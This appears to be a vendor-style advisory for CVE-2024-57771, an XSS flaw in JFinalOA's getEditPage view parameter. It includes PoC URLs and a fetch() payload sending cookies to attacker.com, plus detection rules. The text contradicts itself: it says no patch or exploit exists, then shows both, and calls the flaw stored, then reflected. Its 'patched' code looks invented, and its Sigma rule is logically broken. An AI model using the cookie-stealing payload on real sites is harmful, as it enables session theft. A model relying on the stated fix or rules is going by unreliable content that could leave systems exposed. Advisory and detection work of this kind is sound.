CVE-2024-57771

Executive Summary

CVE-2024-57771 is a stored cross-site scripting (XSS) vulnerability in the JFinalOA application, specifically within the common/getEditPage?view interface. An attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session hijacking, data theft, or defacement. The vulnerability affects versions prior to v2025.01.01. No official patch has been released, and no public exploit code or Nuclei template is available at this time. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium.

Supply Chain & Package Security

JFinalOA is a Java-based open-source OA system. The vulnerability resides in the core application code, not in a third-party package. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – impact may extend beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited ability to modify data.
• Availability (A): None (N) – no impact on availability.

Threat Level: Medium (5.4) – requires user interaction but can lead to significant client-side attacks.

Deep Dive & Mechanics

The vulnerability exists in the common/getEditPage?view endpoint. This endpoint is used to render edit pages for various views. The view parameter is not properly sanitized before being reflected in the response. An attacker can craft a URL like:

http://target/jfinaloa/common/getEditPage?view=<script>alert('XSS')</script>

When a victim visits this URL, the script executes in their browser context. Because the application does not validate or encode the view parameter, the injected payload is rendered as HTML/JavaScript.

The attack can be stored if the crafted URL is saved (e.g., in a database or log) and later rendered to other users, but the primary vector is reflected XSS.

Vulnerable vs. Patched Code

Vulnerable Code (before v2025.01.01):

// In some controller class
public void getEditPage() {
    String view = getPara("view");
    render(view); // Directly renders the view parameter without sanitization
}

Patched Code (v2025.01.01):

public void getEditPage() {
    String view = getPara("view");
    // Sanitize the view parameter to prevent XSS
    view = HtmlUtils.htmlEscape(view);
    render(view);
}

The patch uses HtmlUtils.htmlEscape() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

1. Deploy a vulnerable JFinalOA instance (version < 2025.01.01).
2. Craft a malicious URL:

   http://target/jfinaloa/common/getEditPage?view=<script>alert(document.cookie)</script>
   

3. Send the URL to a victim (e.g., via phishing email).
4. When the victim clicks the link, the script executes, stealing cookies or performing other actions.

Advanced Payload:

<script>
fetch('http://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

• Monitor web server logs for requests to /common/getEditPage?view= containing <script> or other HTML tags.
• Use WAF rules to block requests with suspicious view parameter values.

Hunting:

• Search for view parameter values containing %3Cscript%3E (URL-encoded <script>).
• Look for anomalous outbound connections from the JFinalOA server.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /common/getEditPage?view= with HTML/JavaScript payloads.
  • Outbound connections to attacker-controlled domains from the OA server.
• File IOCs:
  • Log entries containing <script> tags in the view parameter.
• Behavioral IOCs:
  • Unexpected JavaScript execution in the browser.
  • Cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule CVE_2024_57771_JFinalOA_XSS {
    meta:
        description = "Detects XSS attempts against JFinalOA getEditPage endpoint"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2024-57771"
    strings:
        $xss1 = "/common/getEditPage?view="
        $xss2 = "<script>"
        $xss3 = "onerror="
        $xss4 = "javascript:"
    condition:
        $xss1 and ($xss2 or $xss3 or $xss4)
}

Sigma Rule

title: JFinalOA getEditPage XSS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts against JFinalOA getEditPage endpoint
author: Valters IT
date: 2025-04-01
references:
    - CVE-2024-57771
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/common/getEditPage?view='
        cs-uri-query|contains|all:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in view parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57771 JFinalOA XSS Attempt"; flow:to_server,established; content:"/common/getEditPage?view="; http_uri; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to JFinalOA v2025.01.01 or later if available.
2. Workaround: If patching is not possible, implement a WAF rule to block requests containing <script> in the view parameter.
3. Code Fix: Sanitize the view parameter using HtmlUtils.htmlEscape() or equivalent.
4. Monitoring: Enable detailed logging for the /common/getEditPage endpoint and monitor for suspicious patterns.
5. User Education: Train users not to click on suspicious links.

Valters IT